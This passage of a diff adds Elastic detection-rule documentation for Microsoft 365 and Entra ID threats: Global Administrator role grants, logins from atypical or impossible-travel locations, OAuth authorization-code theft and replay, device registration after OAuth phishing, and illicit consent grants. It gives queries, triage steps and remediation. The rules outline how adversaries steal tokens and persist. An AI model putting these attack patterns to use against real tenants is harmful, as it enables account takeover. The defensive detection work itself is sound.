+Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator +* https://learn.microsoft.com/en-us/purview/audit-log-activities +* https://www.blackhat.com/us-24/briefings/schedule/#unoauthorized-a-technique-to-privilege-escalation-to-global-administrator-39231 + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Identity Global Administrator Role Assigned* + + +The Microsoft 365 Global Administrator role grants comprehensive administrative access across Entra ID and services such as Microsoft 365 Defender, Exchange, SharePoint, and Skype for Business. Adversaries who compromise an account may assign this role to themselves or other users to ensure persistent and privileged access. This rule identifies successful assignments of this role by inspecting audit logs from Azure Active Directory (Entra ID) where the role display name matches "Administrator." + + +*Possible investigation steps* + + +- Review the `user.id` and `user.name` fields to determine who performed the role assignment. Assess whether this user normally has permissions to modify high-privilege roles. +- Confirm the `event.action` is `"Add member to role."` and that the `Role_DisplayName.NewValue` is `"Global Administrator"` or a similarly privileged role. +- Review the `user.target.id` and `user.target.name` fields to identify the user or service principal that received the role. +- Inspect `o365.audit.ExtendedProperties.additionalDetails` for context on how the action was performed (e.g., via Admin Portal, Graph API). +- Pivot to sign-in logs for the assigning account to check for recent anomalies such as logins from new geolocations, unrecognized devices, or suspicious IP ranges. +- Investigate if the account assignment occurred outside of known change windows, during non-business hours, or by a user with no change history. +- Correlate with other role assignments or directory changes to check for broader role abuse or privilege escalation campaigns. + + +*False positive analysis* + + +- Role assignments by IT administrators as part of routine maintenance or incident response may appear suspicious in environments without change tracking or ticket correlation. +- PIM (Privileged Identity Management) activations may temporarily elevate accounts to Global Administrator and then revoke the role afterward. +- Onboarding processes or internal audits may require temporary elevation to Global Administrator for legitimate users. +- Automation tools and scripts may trigger this alert if misconfigured to assign Global Administrator privileges during provisioning or sync jobs. + + +*Response and remediation* + + +- If the assignment is unapproved or suspicious, immediately revoke the Global Administrator role from the assigned user or service principal. +- Reset credentials and initiate containment steps for the assigning account, especially if compromise is suspected. +- Enable or verify enforcement of MFA for both assigning and assigned accounts. +- Review Azure AD activity logs for additional signs of privilege misuse or suspicious directory changes. +- Notify the appropriate identity and security operations teams to investigate further and begin incident response procedures. +- Limit the number of Global Administrator accounts and enforce role-based access control (RBAC) using least privilege principles. +- Consider implementing conditional access policies to limit role assignment actions to specific networks, devices, or user groups. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit + and event.code:"AzureActiveDirectory" + and event.action:"Add member to role." + and event.outcome: "success" + and o365.audit.ModifiedProperties.Role_DisplayName.NewValue: ( + "Global Administrator" or "Company Administrator" + ) + and o365.audit.AzureActiveDirectoryEventType: 1 + and o365.audit.RecordType: 8 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-login-from-atypical-region.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-login-from-atypical-region.asciidoc new file mode 100644 index 0000000000..a0e65911d3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-login-from-atypical-region.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-m365-identity-login-from-atypical-region]] +=== M365 Identity Login from Atypical Region + +Detects successful Microsoft 365 portal logins from a country and region the user has not previously authenticated from in a specific time window. Atypical regions are identified by combining the user's country and region geolocation history; an authentication from a new country/region pair for that user may indicate an adversary attempting to access the account from an unusual location or behind a VPN. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Impossible Travel +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: SaaS + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Atypical Region* + + +Microsoft 365 is a cloud-based suite offering productivity tools accessible from anywhere, making it crucial for business operations. Adversaries may exploit this by logging in from uncommon regions, potentially using VPNs to mask their origin. The detection rule identifies successful logins from atypical country/region pairs for a given user, flagging potential unauthorized access attempts by analyzing login events and user location patterns at country and region granularity. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and event.outcome:success and + o365.audit.Target.Type:(0 or 2 or 3 or 5 or 6 or 10) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.country_name:* and + source.geo.region_name:* and + o365.audit.ApplicationId:(* and not ( + 08e18876-6177-487e-b8b5-cf950c1e598c or + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + 3e62f81e-590b-425b-9531-cad6683656cf or + a809996b-059e-42e2-9866-db24b99a9782 or + d7b530a4-7680-4c23-a8bf-c52c121d2e87 + )) and + o365.audit.ExtendedProperties.RequestType:(* and not ( + "Consent:Set" or + "DeviceAuth:ReprocessTls" or + "Federation:oauth2claimsprovider" or + "Federation:oauth2msa" or + "Kmsi:kmsi" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "OrgIdWsFederation:federation" or + "PermitSso:PermitSso" or + "SAS:EndAuth" or + "SAS:ProcessAuth" or + "SSPR:end" or + "Saml2:processrequest" or + "WsFederation:wsfederation" + )) and + not user_agent.original:(*Android* or *PKeyAuth* or *WebView* or *iPad* or *iPhone*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-login-from-impossible-travel-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-login-from-impossible-travel-location.asciidoc new file mode 100644 index 0000000000..9a11c4d99e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-login-from-impossible-travel-location.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-m365-identity-login-from-impossible-travel-location]] +=== M365 Identity Login from Impossible Travel Location + +Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. + +*Rule type*: threshold + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Impossible Travel +* Rule Type: Threshold +* Platform: Microsoft 365 +* Domain: SaaS + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Impossible Travel Location* + + +Microsoft 365's cloud-based services enable global access, but this can be exploited by adversaries logging in from disparate locations within short intervals, indicating potential account compromise. The detection rule identifies such anomalies by analyzing login events for rapid geographic shifts, flagging suspicious activity that may suggest unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and + event.outcome:success and + o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.country_name:* and + not o365.audit.ApplicationId:( + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + a809996b-059e-42e2-9866-db24b99a9782 or + 08e18876-6177-487e-b8b5-cf950c1e598c or + 3e62f81e-590b-425b-9531-cad6683656cf or + d7b530a4-7680-4c23-a8bf-c52c121d2e87 + ) and not o365.audit.ExtendedProperties.RequestType:( + "Cmsi:Cmsi" or + "Consent:Set" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "SAS:EndAuth" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc new file mode 100644 index 0000000000..c523c11dbc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc @@ -0,0 +1,262 @@ +[[prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips]] +=== M365 Identity OAuth Flow by First-Party Microsoft App from Multiple IPs + +Identifies sign-ins on behalf of a principal user to the Microsoft Graph or legacy Azure AD API from multiple IPs using first-party Microsoft applications from the FOCI (Family of Client IDs) group. Developer tools like Azure CLI, VSCode, and Azure PowerShell accessing these resources from multiple IPs are flagged, along with any FOCI application accessing the deprecated Windows Azure Active Directory from multiple IPs. This behavior may indicate an adversary using a phished OAuth authorization code or refresh token, as seen in attacks like ConsentFix where attackers steal localhost OAuth codes and replay them from attacker infrastructure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 59m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: Microsoft 365 +* Domain: SaaS + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Flow by First-Party Microsoft App from Multiple IPs* + + +This rule detects when the same user authenticates to Microsoft Graph or legacy Azure AD using FOCI applications from multiple IP addresses within a 30-minute window. This pattern is a strong indicator of OAuth code/token theft attacks like ConsentFix, where the victim completes the OAuth authorize flow on their device (first IP), and the attacker exchanges the stolen authorization code for tokens from their infrastructure (second IP). + +The rule aggregates events by user, application, and resource, requiring both `OAuth2:Authorize` and `OAuth2:Token` requests from at least 2 different IPs to fire - this indicates the code was generated on one IP and exchanged on another. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the affected user and determine if they are a high-value target. +- Analyze `Esql.source_ip_values` to see all unique IP addresses used within the 30-minute window. Determine whether these originate from different geographic regions, cloud providers (AWS, Azure, GCP), or anonymizing infrastructure (Tor, VPNs). +- Use `Esql.time_window_date_trunc` to pivot into raw events and reconstruct the full sequence of resource access events with exact timestamps. +- Check `Esql.source_as_organization_name_values` for unfamiliar ASN organizations that may indicate attacker infrastructure. +- Review `Esql.o365_audit_ApplicationId_values` to confirm which first-party application was used. +- Pivot to `azure.auditlogs` to check for device join or registration events around the same timeframe, which may indicate persistence attempts. +- Correlate with `azure.identityprotection` to identify related risk detections such as anonymized IP access or token replay. +- Search for additional sign-ins from the IPs involved across other users to determine if this is part of a broader campaign. + + +*False positive analysis* + + +- Developers or IT administrators working across environments (office, home, cloud VMs) may produce similar behavior. +- Users on VPN who switch servers or traveling between networks may show multiple IPs. +- Mobile users moving between cellular and WiFi networks during the time window. +- Consider correlating with device compliance status to distinguish managed vs. unmanaged access. + + +*Response and remediation* + + +- If confirmed unauthorized, immediately revoke all refresh tokens for the affected user via Entra ID. +- Remove any devices registered during this session by checking `azure.auditlogs` for `Add device` events. +- Notify the user and determine whether they may have shared an OAuth code via phishing. +- Block the attacker IPs at the perimeter and add to threat intel feeds. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices and approved locations. +- Monitor for follow-on activity like lateral movement, privilege escalation, or data exfiltration via Graph API. + + +==== Setup + + + +*Setup* + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* +| where + data_stream.dataset == "o365.audit" and + event.action == "UserLoggedIn" and + source.ip is not null and + o365.audit.UserId is not null and + o365.audit.ApplicationId is not null and + o365.audit.UserType in ("0", "2", "3", "10") and + ( + /* Developer tools accessing Graph OR Legacy AAD */ + ( + o365.audit.ApplicationId in ( + "aebc6443-996d-45c2-90f0-388ff96faa56", + "29d9ed98-a469-4536-ade2-f981bc1d605e", + "04b07795-8ddb-461a-bbee-02f9e1bf7b46", + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and + o365.audit.ObjectId in ( + "00000003-0000-0000-c000-000000000000", + "00000002-0000-0000-c000-000000000000" + ) + ) or + /* Any FOCI app accessing Legacy AAD only */ + ( + o365.audit.ApplicationId in ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2", + "1fec8e78-bce4-4aaf-ab1b-5451cc387264", + "26a7ee05-5602-4d76-a7ba-eae8b7b67941", + "27922004-5251-4030-b22d-91ecd9a37ea4", + "4813382a-8fa7-425e-ab75-3b753aab3abb", + "ab9b8c07-8f02-4f72-87fa-80105867a763", + "d3590ed6-52b3-4102-aeff-aad2292ab01c", + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1", + "af124e86-4e96-495a-b70a-90f90ab96707", + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8", + "844cca35-0656-46ce-b636-13f48b0eecbd", + "87749df4-7ccf-48f8-aa87-704bad0e0e16", + "cf36b471-5b44-428c-9ce7-313bf84528de", + "0ec893e0-5785-4de6-99da-4ed124e5296c", + "22098786-6e16-43cc-a27d-191a01a1e3b5", + "4e291c71-d680-4d0e-9640-0a3358e31177", + "57336123-6e14-4acc-8dcf-287b6088aa28", + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0", + "66375f6b-983f-4c2c-9701-d680650f588f", + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223", + "a40d7d7d-59aa-447e-a655-679a4107e548", + "a569458c-7f2b-45cb-bab9-b7dee514d112", + "b26aadf8-566f-4478-926f-589f601d9c74", + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12", + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0", + "e9c51622-460d-4d3d-952d-966a5b1da34c", + "eb539595-3fe1-474e-9c1d-feb3625d1be5", + "ecd6b820-32c2-49b6-98a6-444530e5a77a", + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d", + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34", + "be1918be-3fe3-4be9-b32b-b542fc27f02e", + "cab96880-db5b-4e15-90a7-f3f1d62ffe39", + "d7b530a4-7680-4c23-a8bf-c52c121d2e87", + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3", + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and + o365.audit.ObjectId == "00000002-0000-0000-c000-000000000000" + ) + ) +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql.oauth_authorize_user_id_case = case( + o365.audit.ExtendedProperties.RequestType == "OAuth2:Authorize" and o365.audit.ExtendedProperties.ResultStatusDetail == "Redirect", + o365.audit.UserId, + null + ), + Esql.oauth_token_user_id_case = case( + o365.audit.ExtendedProperties.RequestType == "OAuth2:Token", + o365.audit.UserId, + null + ) +| stats + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_ip_values = values(source.ip), + Esql.o365_audit_ApplicationId_values = values(o365.audit.ApplicationId), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.oauth_token_count_distinct = count_distinct(Esql.oauth_token_user_id_case), + Esql.oauth_authorize_count_distinct = count_distinct(Esql.oauth_authorize_user_id_case) + by + o365.audit.UserId, + Esql.time_window_date_trunc, + o365.audit.ApplicationId, + o365.audit.ObjectId +| keep + Esql.time_window_date_trunc, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.o365_audit_ApplicationId_values, + Esql.source_as_organization_name_values, + Esql.oauth_token_count_distinct, + Esql.oauth_authorize_count_distinct +| where + Esql.source_ip_count_distinct >= 2 and + Esql.oauth_token_count_distinct > 0 and + Esql.oauth_authorize_count_distinct > 0 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-user-sign-in-to-device-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-user-sign-in-to-device-registration.asciidoc new file mode 100644 index 0000000000..22695c9485 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-user-sign-in-to-device-registration.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-user-sign-in-to-device-registration]] +=== M365 Identity OAuth Flow by User Sign-in to Device Registration + +Identifies attempts to register a new device in Microsoft Entra ID after OAuth authentication with authorization code grant. Adversaries may use OAuth phishing techniques to obtain an OAuth authorization code, which can then be exchanged for access and refresh tokens. This rule detects a sequence of events where a user principal authenticates via OAuth, followed by a device registration event, indicating potential misuse of the OAuth flow to establish persistence or access resources. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: Event Correlation (EQL) +* Platform: Microsoft 365 +* Domain: Email + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Flow by User Sign-in to Device Registration* + + + +*Possible investigation steps* + +- Review the two UserLoggedIn logs to confirm that they come from different source.ip values and are associated to the same account. +- Verify all events associated to the source.ip of the the second event in the sequence. +- Investiguate the details of the new device that was added by reviewing the o365.audit.ModifiedProperties.Device_DisplayName.NewValue attribute. +- Investigate the user account associated with the successful sign-in to determine if this activity aligns with expected behavior or if it appears suspicious. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*False positive analysis* + +- Both authentcation events of the sequence are originatng from the same source.ip. +- User using multiple devices and attempted to add a new device post an OAuth code authentication. + + +*Response and remediation* + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by related.user with maxspan=30m +[authentication where event.action == "UserLoggedIn" and + o365.audit.ExtendedProperties.RequestType == "OAuth2:Authorize" and o365.audit.ExtendedProperties.ResultStatusDetail == "Redirect" and + o365.audit.UserType: ("0", "2", "3", "10")] // victim source.ip +[authentication where event.action == "UserLoggedIn" and + o365.audit.ExtendedProperties.RequestType == "OAuth2:Token" and o365.audit.ExtendedProperties.ResultStatusDetail == "Success"] // attacker source.ip to convert oauth code to token +[web where data_stream.dataset == "o365.audit" and event.action == "Add registered users to device."] // user.name is captured in related.user + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc new file mode 100644 index 0000000000..17cafed85c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user]] +=== M365 Identity OAuth Illicit Consent Grant by Rare Client and User + +Identifies an Microsoft 365 illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. + 